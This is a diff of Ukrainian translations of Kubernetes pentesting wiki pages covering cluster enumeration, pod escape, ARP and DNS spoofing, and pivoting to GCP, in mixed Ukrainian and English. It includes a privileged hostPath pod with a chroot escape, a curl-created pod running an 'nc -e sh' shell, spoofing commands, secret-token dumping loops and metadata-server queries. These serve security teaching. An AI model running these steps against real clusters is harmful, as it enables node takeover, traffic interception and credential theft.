`DeviceClass`, `ResourceSlice`, `ResourceClaim` і `ResourceClaimTemplate`, щоб описувати доступні devices і резервувати їх для Pods. Ці objects можуть показати, які nodes мають доступ до цінного hardware, який driver ним керує і яке workload має allocation. +```bash +kubectl api-resources --api-group=resource.k8s.io +kubectl get deviceclasses.resource.k8s.io 2>/dev/null +kubectl get resourceslices.resource.k8s.io 2>/dev/null +kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null +kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null +kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}' +kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga' +``` +Під час review обмежте записи до cluster-scoped об’єктів `DeviceClass` і `ResourceSlice` для admins і DRA drivers, а права на `ResourceClaim` / `ResourceClaimTemplate` залишайте в межах namespaces, які їх потребують. Права driver на оновлення `ResourceClaim` status мають бути явними й вузькими. На nodes kubelet PodResources API зазвичай доступний через `/var/lib/kubelet/pod-resources/kubelet.sock`; monitoring DaemonSets можуть монтувати цей каталог, щоб інспектувати призначені devices, тож перевіряйте такі Pods так само, як інші privileged node agents. + +### ClusterTrustBundle and add-on certificate trust + +У новіших clusters можуть бути доступні об’єкти `ClusterTrustBundle` у API group `certificates.k8s.io`. Це cluster-scoped X.509 trust anchor bundles, які Pods можуть монтувати через projected volumes. Широкий read access є очікуваним, але write access є чутливим, оскільки зміна trusted roots може вплинути на webhooks, aggregated APIs, service meshes і applications, що використовують cluster-distributed CA material. +```bash +kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle +kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null +kubectl get clustertrustbundle -o yaml 2>/dev/null +kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle' +kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}' +``` +Під час review, зафіксуйте `signerName`, bundle fingerprints, writer identities, projected-volume consumers і будь-який trust-distribution controller, такий як cert-manager trust-manager. Розглядайте об'єкти `APIService` з `insecureSkipTLSVerify: true`, застарілими значеннями `caBundle` або широкими permissions на patch APIService/webhook trust fields як certificate-trust findings, а не як звичайний object inventory. ### Get Current Privileges @@ -212,21 +238,21 @@ kurl -i -s -k -X $'POST' \ {{#endtab }} {{#endtabs }} -Інший спосіб перевірити свої privileges — використати tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* +Ще один спосіб перевірити свої privileges — використати tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* -Дізнатися більше про **Kubernetes RBAC** можна тут: +Ви можете дізнатися більше про **Kubernetes RBAC** у: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} -**Після того як ви дізнаєтеся, які privileges** у вас є, перевірте наступну сторінку, щоб з’ясувати **чи можете ви abuse їх** для escalation privileges: +**Після того, як ви дізнаєтеся, які privileges** у вас є, перегляньте наступну сторінку, щоб з’ясувати **чи можете ви abuse їх** для privilege escalation: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} -### Отримати ролі інших +### Отримати інші roles {{#tabs }} {{#tab name="kubectl" }} @@ -246,7 +272,7 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu ### Отримати namespaces -Kubernetes підтримує **multiple virtual clusters**, що працюють поверх одного й того ж physical cluster. Ці virtual clusters називаються **namespaces**. +Kubernetes підтримує **кілька віртуальних кластерів**, що працюють на основі того самого фізичного кластера. Ці віртуальні кластери називаються **namespaces**. {{#tabs }} {{#tab name="kubectl" }} @@ -259,6 +285,9 @@ k get namespaces ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/ ``` +{{#endtab }} +{{#endtabs }} + ### Отримати secrets {{#tabs }} @@ -284,7 +313,7 @@ for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f ``` ### Отримати Service Accounts -Як обговорювалося на початку цієї сторінки, **коли pod запускається, йому зазвичай призначається service account**. Тому перелік service accounts, їхніх permissions і де вони запущені може дозволити користувачу підвищити привілеї. +Як обговорювалося на початку цієї сторінки **коли pod запускається, йому зазвичай призначається service account**. Тому перелік service accounts, їхніх permissions і того, де вони працюють, може дозволити користувачу підвищити привілеї. {{#tabs }} {{#tab name="kubectl" }} @@ -321,7 +350,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//deployments/ ### Отримати StatefulSets -StatefulSets керують Pods, які потребують стабільних назв, впорядкованої поведінки розгортання та часто персистентних volumes для кожної репліки. +StatefulSets керують Pods, яким потрібні стабільні імена, впорядкована поведінка rollout і часто персистентні volumes для кожної replica. {{#tabs }} {{#tab name="kubectl" }} @@ -340,7 +369,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ ### Отримати Pods -Pods — це фактичні **containers**, які будуть **run**. +Pods — це фактичні **containers**, які **run**. {{#tabs }} {{#tab name="kubectl" }} @@ -359,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ ### Отримати Services -Kubernetes **services** використовуються для **експонування сервісу на певному порту та IP** (який діятиме як load balancer для pods, що фактично надають сервіс). Це корисно знати, щоб знайти інші services, які можна спробувати атакувати. +Kubernetes **services** використовуються, щоб **відкрити service на певному порту та IP** (які діятимуть як load balancer для pods, що фактично надають service). Це корисно, щоб зрозуміти, де можна знайти інші services для спроби атаки. {{#tabs }} {{#tab name="kubectl" }} @@ -373,9 +402,12 @@ k get services -n custnamespace ```bash kurl -v https://$APISERVER/api/v1/namespaces//services/ ``` +{{#endtab }} +{{#endtabs }} + ### Отримати nodes -Отримайте всі **nodes, налаштовані всередині cluster**. +Отримати всі **nodes, налаштовані всередині cluster**. {{#tabs }} {{#tab name="kubectl" }} @@ -393,7 +425,7 @@ kurl -v https://$APISERVER/api/v1/nodes/ ### Отримати DaemonSets -**DaemonSets** гарантують, що **конкретний Pod працює на всіх вибраних вузлах** кластера. Якщо ви видалите DaemonSet, керовані ним Pods також будуть видалені. +**DaemonSets** забезпечують, щоб **певний Pod працював на всіх вибраних вузлах** кластера. Якщо ви видалите DaemonSet, Pod'и, якими він керує, також будуть видалені. {{#tabs }} {{#tab name="kubectl" }} @@ -411,7 +443,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets ### Отримати Jobs -Jobs створюють Pods, які працюють до завершення. Їх зазвичай використовують для міграцій, резервних копій, batch-робіт і одноразових адміністративних завдань. +Jobs створюють Pods, які працюють до завершення. Їх зазвичай використовують для migrations, backups, batch work та одноразових адміністративних завдань. {{#tabs }} {{#tab name="kubectl" }} @@ -430,7 +462,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces//jobs ### Отримати CronJobs -CronJobs використовують розклад, схожий на crontab, щоб створювати Jobs, які запускають Pods для task-style execution. +CronJobs використовують розклад, схожий на crontab, щоб створювати Jobs, які запускають Pods для виконання завдань. {{#tabs }} {{#tab name="kubectl" }} @@ -449,7 +481,7 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs ### Отримати configMap -configMap завжди містить багато інформації та configfile, які надаються apps, що працюють у kubernetes. Зазвичай ви можете знайти багато password, secrets, tokens, які використовуються для підключення та валідації до інших internal/external service. +configMap завжди містить багато інформації та configfile, які надаються apps, що run у kubernetes. Зазвичай можна знайти багато password, secrets, tokens, які використовуються для connecting і validating до інших internal/external service. {{#tabs }} {{#tab name="kubectl" }} @@ -474,6 +506,9 @@ k get networkpolicies k get CiliumNetworkPolicies k get CiliumClusterwideNetworkPolicies ``` +{{#endtab }} +{{#endtabs }} + ### Отримати все / Усе {{#tabs }} @@ -494,7 +529,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' {{#endtab }} {{#endtabs }} -### **Отримати споживання Pods** +### **Отримати споживання Pod** {{#tabs }} {{#tab name="kubectl" }} @@ -506,11 +541,11 @@ k top pod --all-namespaces ## Взаємодія з кластером без використання kubectl -Оскільки control plane Kubernetes надає REST-ful API, ви можете вручну складати HTTP-запити та надсилати їх за допомогою інших інструментів, таких як **curl** або **wget**. +Оскільки control plane Kubernetes надає REST-ful API, ви можете вручну створювати HTTP-запити та надсилати їх за допомогою інших інструментів, таких як **curl** або **wget**. ### Втеча з pod -Якщо ви можете створювати нові pod, ви, можливо, зможете втекти з них на node. Для цього вам потрібно створити новий pod за допомогою yaml-файлу, переключитися на створений pod, а потім виконати chroot у system node. Ви можете використовувати вже наявні pod як reference для yaml-файлу, оскільки вони показують наявні images і pathes. +Якщо ви можете створювати нові pod, ви, можливо, зможете втекти з них на node. Для цього вам потрібно створити новий pod за допомогою yaml-файлу, переключитися на створений pod, а потім виконати chroot у системі node. Ви можете використовувати вже наявні pod як reference для yaml-файлу, оскільки вони відображають наявні images і pathes. ```bash kubectl get pod [-n ] -o yaml ``` @@ -520,7 +555,7 @@ kubectl get pod [-n ] -o yaml > > Зазвичай, kubernetes.io/hostname і node-role.kubernetes.io/master — це хороші labels для вибору. -Потім створюєте ваш файл attack.yaml +Потім ви створюєте свій файл attack.yaml ```yaml apiVersion: v1 kind: Pod @@ -556,11 +591,11 @@ restartPolicy: Never ```bash kubectl apply -f attacker.yaml [-n ] ``` -Тепер ви можете переключитися на створений pod так: +Тепер ви можете перейти до створеного pod таким чином ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` -І нарешті ви chroot у систему node. +І, нарешті, ви chroot у систему node'а ```bash chroot /root /bin/bash ``` @@ -568,7 +603,7 @@ Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Pa ### Створення privileged pod -Відповідний yaml файл виглядає так: +Відповідний yaml файл такий: ```yaml apiVersion: v1 kind: Pod @@ -612,9 +647,9 @@ curl --path-as-is -i -s -k -X $'POST' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` -### Видалити pod +### Видалення pod -Видалити pod за допомогою curl: +Видаліть pod за допомогою curl: ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -631,7 +666,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" ``` -### Створити Service Account +### Створіть Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -666,7 +701,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" ``` -### Створіть Role +### Створити Role ```bash CONTROL_PLANE_HOST="" TOKEN="" @@ -702,7 +737,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" ``` -### Створити Role Binding +### Створення Role Binding ```bash CONTROL_PLANE_HOST="" TOKEN="" diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index d08a0dc8e..2ad0b8149 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -2,18 +2,18 @@ {{#include ../../banners/hacktricks-training.md}} -## Introduction +## Вступ -У Kubernetes спостерігається, що поведінка за замовчуванням дозволяє встановлення з’єднань між **усіма контейнерами, що знаходяться на одному node**. Це застосовується незалежно від відмінностей namespace. Така connectivity поширюється аж до **Layer 2** (Ethernet). Внаслідок цього така конфігурація потенційно наражає систему на вразливості. Зокрема, вона відкриває можливість для **malicious container** виконати **ARP spoofing attack** проти інших контейнерів, розташованих на тому ж node. Під час такої атаки malicious container може обманом перехоплювати або змінювати network traffic, призначений для інших контейнерів. +У Kubernetes спостерігається, що поведінка за замовчуванням дозволяє встановлення з’єднань між **усіма контейнерами, що розміщені на одному node**. Це застосовується незалежно від відмінностей у namespace. Така connectivty поширюється аж до **Layer 2** (Ethernet). Отже, така конфігурація потенційно наражає систему на вразливості. Зокрема, вона відкриває можливість для **malicious container** виконати **ARP spoofing attack** проти інших контейнерів, що знаходяться на тому ж node. Під час такої атаки malicious container може обманним шляхом перехоплювати або змінювати network traffic, призначений для інших контейнерів. -ARP spoofing attacks передбачають, що **attacker надсилає фальшиві ARP** (Address Resolution Protocol) повідомлення через local area network. Це призводить до зв’язування **MAC address attacker'а з IP address легітимного computer або server у network**. Після успішного виконання такої атаки attacker може перехоплювати, змінювати або навіть зупиняти data in-transit. Атака виконується на Layer 2 моделі OSI, саме тому default connectivity у Kubernetes на цьому рівні викликає security concerns. +ARP spoofing attacks передбачають, що **attacker надсилає falsified ARP** (Address Resolution Protocol) повідомлення через local area network. Це призводить до зв’язування **MAC address attacker'а з IP address легітимного комп’ютера або server у мережі**. Після успішного виконання такої атаки attacker може перехоплювати, змінювати або навіть зупиняти data в transit. Атака виконується на Layer 2 моделі OSI, тому default connectivity у Kubernetes на цьому рівні викликає занепокоєння щодо security. -У цьому сценарії буде створено 4 machines: +У сценарії буде створено 4 machines: -- ubuntu-pe: Privileged machine, щоб втекти на node і перевірити metrics (не потрібно для атаки) -- **ubuntu-attack**: **Malicious** container у default namespace -- **ubuntu-victim**: **Victim** machine у kube-system namespace -- **mysql**: **Victim** machine у default namespace +- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack) +- **ubuntu-attack**: **Malicious** container in default namespace +- **ubuntu-victim**: **Victim** machine in kube-system namespace +- **mysql**: **Victim** machine in default namespace ```yaml echo 'apiVersion: v1 kind: Pod @@ -96,22 +96,38 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` -## Основи Kubernetes Networking +## Basic Kubernetes Networking -Якщо ви хочете більше деталей про networking topics, представлені тут, перейдіть до references. +Якщо вам потрібні детальніші відомості про networking-теми, представлені тут, перейдіть до references. ### ARP -Загалом, **pod-to-pod networking inside the node** доступний через **bridge**, який з’єднує всі pods. Цей bridge називається “**cbr0**”. (Деякі network plugins встановлюють власний bridge.) **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. Коли вхідний packet надходить до cbr0, він може визначити MAC address destination за допомогою ARP. +Загалом, **pod-to-pod networking всередині node** доступний через **bridge**, який з’єднує всі pod. Цей bridge називається “**cbr0**”. (Деякі network plugins встановлюють власний bridge.) **cbr0 також може обробляти ARP** (Address Resolution Protocol) resolution. Коли вхідний packet надходить до cbr0, він може визначити destination MAC address за допомогою ARP. -Цей факт означає, що за замовчуванням **кожен pod, що працює в одному node**, зможе **communicate** з будь-яким іншим pod в тому ж node (незалежно від namespace) на ethernet level (layer 2). +Цей факт означає, що за замовчуванням **кожен pod, що працює на тому самому node**, зможе **communicate** з будь-яким іншим pod на тому самому node (незалежно від namespace) на ethernet-рівні (layer 2). > [!WARNING] -> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.** +> Therefore, it's possible to perform A**RP Spoofing attacks між pod у тому самому node.** + +### NetworkPolicy and admin policy layers + +Kubernetes `NetworkPolicy` — це control трафіку pod на L3/L4, але він enforced CNI plugin, а не самим API server. Cluster може зберігати об’єкти NetworkPolicy і водночас дозволяти traffic, якщо активний CNI не implements їх, тому завжди перевіряйте це за допомогою контрольованого allowed source і blocked negative-control source. + +Не зупиняйтеся на `kubectl get networkpolicy -A`. Clusters, що використовують Cilium, Calico, OVN-Kubernetes, Antrea або managed-provider dataplanes, також можуть мати policy APIs, такі як `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy` або `BaselineAdminNetworkPolicy`. Вони можуть додавати explicit deny, tier/order, cluster scope, L7/DNS rules або admin guardrails, які звичайна additive Kubernetes NetworkPolicy semantics не пояснює. + +Корисні перші checks: +```bash +kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico' +kubectl get networkpolicy -A +kubectl get cnp,ccnp -A 2>/dev/null +kubectl get globalnetworkpolicy -A 2>/dev/null +kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null +``` +Для аналізу обходу перевірте, чи унеможливлений intended block через дозволений proxy, DNS або egress gateway, pod з `hostNetwork`, node-local path, широкий namespace або pod label selector, чи policy адміністратора/global з вищим пріоритетом. Звітуйте source pod labels, namespace labels, destination Service або EndpointSlice, CNI/policy implementation, вирішальне policy rule та traffic proof. ### DNS -У kubernetes environments ви зазвичай знайдете 1 (або більше) **DNS services running** зазвичай у namespace kube-system: +У kubernetes environments ви зазвичай знайдете 1 (або більше) **DNS services running**, зазвичай у namespace kube-system: ```bash kubectl -n kube-system describe services Name: kube-dns @@ -136,30 +152,30 @@ Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` -У попередній інформації ви можете побачити щось цікаве: **IP of the service** — це **10.96.0.10**, але **IP of the pod**, на якому працює service, — це **172.17.0.2**. +У попередній інформації ви можете побачити щось цікаве: **IP of the service** — це **10.96.0.10**, але **IP of the pod**, який запускає service, — **172.17.0.2.** Якщо ви перевірите DNS address всередині будь-якого pod, ви знайдете щось на кшталт цього: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` -Однак pod **не знає**, як дістатися до цієї **address**, тому що **pod range** у цьому випадку — 172.17.0.10/26. +Однак pod **не знає**, як дістатися до цієї **адреси**, тому що **pod range** у цьому випадку — 172.17.0.10/26. -Тому pod надішле **DNS requests to the address 10.96.0.10**, which will be **translated** by the cbr0 **to** **172.17.0.2**. +Тому pod надішле **DNS requests на адресу 10.96.0.10**, яка буде **translated** cbr0 **to** **172.17.0.2**. > [!WARNING] -> Це означає, що **DNS request** pod-а **завжди** буде йти через **bridge** для **translate** **service IP to the endpoint IP**, навіть якщо DNS server знаходиться в тій самій subnet, що й pod. +> Це означає, що **DNS request** від pod **always** буде йти через **bridge**, щоб **translate** **service IP to the endpoint IP**, навіть якщо DNS server знаходиться в тій самій підмережі, що й pod. > -> Знаючи це, і знаючи, що **ARP attacks are possible**, **pod** на node зможе **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** та **modify** **DNS responses** from the DNS server (**DNS Spoofing**). +> Знаючи це, і знаючи, що можливі **ARP attacks**, **pod** на вузлі зможе **intercept the traffic** між **each pod** у **subnetwork** і **bridge** та **modify** **DNS responses** від DNS server (**DNS Spoofing**). > -> Крім того, якщо **DNS server** знаходиться на тому ж node, що й attacker, attacker може **intercept all the DNS request** будь-якого pod у cluster (між DNS server і bridge) і modify responses. +> Крім того, якщо **DNS server** знаходиться на **same node as the attacker**, attacker може **intercept all the DNS request** будь-якого pod у cluster (між DNS server і bridge) і modify responses. > [!NOTE] > Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism. ## ARP Spoofing in pods in the same Node -Наша мета — **steal at least the communication from the ubuntu-victim to the mysql**. +Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**. ### Scapy ```bash @@ -236,7 +252,7 @@ arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing -Як уже згадувалося, якщо ви **compromise pod на тому ж node, що й pod DNS server**, ви можете **MitM** за допомогою **ARPSpoofing** **bridge** і **DNS** pod та **modify all the DNS responses**. +Як уже згадувалося, якщо ви **compromise pod на тому ж node, що й pod DNS server**, ви можете **MitM** за допомогою **ARPSpoofing** **bridge і DNS** pod та **modify all the DNS responses**. У вас є дуже хороший **tool** і **tutorial** для тестування цього в [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) @@ -245,7 +261,7 @@ arpspoof -t 172.17.0.9 172.17.0.10 cat hosts google.com. 1.1.1.1 ``` -Виконайте атаку на машину ubuntu-victim: +Виконай attack на машину ubuntu-victim: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 @@ -263,14 +279,14 @@ dig google.com google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] -> Якщо ви спробуєте створити власний DNS spoofing script, якщо ви **просто зміните DNS response**, це **не** буде **працювати**, тому що **response** матиме **src IP** — IP-адресу **malicious** **pod** — і **не** буде **accepted**.\ -> Потрібно згенерувати **new DNS packet** з **src IP** **DNS**, куди victim надсилає DNS request (це щось на кшталт 172.16.0.2, а не 10.96.0.10, це K8s DNS service IP, а не DNS server ip, більше про це в introduction). +> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\ +> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction). ## DNS Spoofing via coreDNS configmap -Користувач із правами запису над configmap `coredns` у namespace kube-system може змінювати DNS responses кластера. +Користувач з правами на запис у configmap `coredns` у namespace kube-system може змінювати DNS-відповіді кластера. -Також перегляньте NodeLocal DNSCache, якщо він розгорнутий. Зазвичай він працює як hostNetwork DaemonSet і має власний ConfigMap, logs, cache і forwarding path. Зміна CoreDNS може бути не єдиним місцем, де DNS behavior можна впливати або спостерігати. +Also review NodeLocal DNSCache if it is deployed. It usually runs as a hostNetwork DaemonSet and has its own ConfigMap, logs, cache, and forwarding path. A CoreDNS change may not be the only place where DNS behavior can be affected or observed. Перевірте більше інформації про цю attack у: @@ -280,7 +296,7 @@ abusing-roles-clusterroles-in-kubernetes/README.md ## Abusing exposed kubernetes management services -Такі services, як Apache NiFi, Kubeflow, Argo Workflows, Weave Scope і Kubernetes dashboard, часто exposed або в internet, або всередині kubernetes network. attacker, який зможе **знайти будь-яку platform, що використовується для керування kubernetes, і отримати до неї access**, може abuse її, щоб отримати access до kubernetes API і виконувати actions на кшталт створення new pods, modification existing ones або навіть їх видалення. +Сервіси на кшталт Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, і Kubernetes dashboard часто exposed або в інтернет, або всередині kubernetes network. Attacker, який зуміє **знайти будь-яку platform, що використовується для керування kubernetes, і отримати до неї access**, може abuse it, щоб отримати access до kubernetes API і виконувати actions на кшталт створення нових pods, модифікації наявних або навіть їх видалення. ## Enumerating kubernetes network policies @@ -292,7 +308,7 @@ kubectl get networkpolicies --all-namespaces ```bash kubectl get globalnetworkpolicy --all-namespaces ``` -Отримати **Cillium** network policies: +Отримайте **Cillium** network policies: ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` @@ -300,9 +316,9 @@ kubectl get ciliumnetworkpolicy --all-namespaces ```bash kubectl get crd | grep -i policy ``` -## Захоплення Traffic +## Capturing Traffic -Інструмент [**Mizu**](https://github.com/up9inc/mizu) — це простий, але потужний API **traffic viewer for Kubernetes**, що дає змогу **переглядати всю API communication** між microservices, щоб допомогти вам debug і troubleshoot regressions.\ +Інструмент [**Mizu**](https://github.com/up9inc/mizu) — це simple-yet-powerful API **traffic viewer for Kubernetes**, який дає змогу **view all API communication** між microservices, щоб допомогти вам debug і troubleshoot regressions.\ Він встановить agents у вибрані pods і збере їхню traffic information та покаже її у web server. Однак для цього вам знадобляться високі K8s permissions (і це не дуже stealthy). ## References diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 9f1123259..9c9c709f0 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,11 +4,11 @@ ## GCP -If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that: +Якщо ви запускаєте k8s cluster всередині GCP, вам, ймовірно, потрібно, щоб якийсь application, що працює всередині cluster, мав доступ до GCP. Є 2 поширені способи зробити це: ### Mounting GCP-SA keys as secret -A common way to give **access to a kubernetes application to GCP** is to: +Поширений спосіб надати **access to a kubernetes application to GCP** — це: - Create a GCP Service Account - Bind on it the desired permissions @@ -27,7 +27,7 @@ A way to give access to a GSA to a GKE cluser is by binding them in this way: ```bash kubectl create serviceaccount ``` -- Створіть Kubernetes Secret, який містить credentials GCP service account, якому ви хочете надати доступ до GKE cluster. Ви можете зробити це за допомогою `gcloud` command-line tool, як показано в такому прикладі: +- Створіть Kubernetes Secret, який містить облікові дані GCP service account, якому ви хочете надати доступ до GKE cluster. Ви можете зробити це за допомогою інструмента командного рядка `gcloud`, як показано в наступному прикладі: ```bash gcloud iam service-accounts keys create .json \ --iam-account @@ -40,13 +40,13 @@ kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> У **другому кроці** були встановлені **credentials GSA як secret KSA**. Тоді, якщо ти можеш **прочитати цей secret** **зсередини** **GKE** cluster, ти можеш **ескалювати до цього GCP service account**. +> На **другому кроці** були встановлені **credentials of the GSA as secret of the KSA**. Тоді, якщо ви можете **read that secret** з **inside** **GKE** cluster, ви можете **escalate to that GCP service account**. ### GKE Workload Identity -За допомогою Workload Identity ми можемо налаштувати [ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) так, щоб він діяв як [ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods, що працюють із Kubernetes service account, автоматично автентифікуватимуться як Google service account під час доступу до Google Cloud APIs. +With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs. -**Перший набір кроків** для ввімкнення цієї поведінки — **увімкнути Workload Identity у GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) і створити GCP SA, який ти хочеш, щоб k8s impersonate. +The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate. - **Enable Workload Identity** on a new cluster ```bash @@ -54,7 +54,7 @@ gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **Створіть/оновіть новий nodepool** (Autopilot clusters не потребують цього) +- **Створити/Оновити новий nodepool** (Autopilot clusters don't need this) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **Підключіться** до **кластеру** та **створіть** **service account**, який буде використовуватися +- **Підключіться** до **cluster** і **створіть** **service account** для використання ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \ curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email gcloud auth list ``` -Перевірте таку команду, щоб аутентифікуватися, якщо потрібно: +Перевірте таку команду для автентифікації, якщо потрібно: ```bash gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json ``` > [!WARNING] -> As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.\ -> From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**. +> Як attacker всередині K8s, вам слід **шукати SAs** з **`iam.gke.io/gcp-service-account` annotation**, оскільки це вказує на те, що SA може отримати доступ до чогось у GCP. Інший варіант — спробувати зловживати кожним KSA у cluster і перевірити, чи має він доступ.\ +> Із GCP завжди цікаво enumerate bindings і знати, **який access ви надаєте SAs всередині Kubernetes**. -Це скрипт, щоб легко **ітеративно пройтися по всіх pod** definitions **у пошуку** цієї **annotation**: +Це script, щоб легко **iterate over the all the pods** definitions **looking** for that **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | 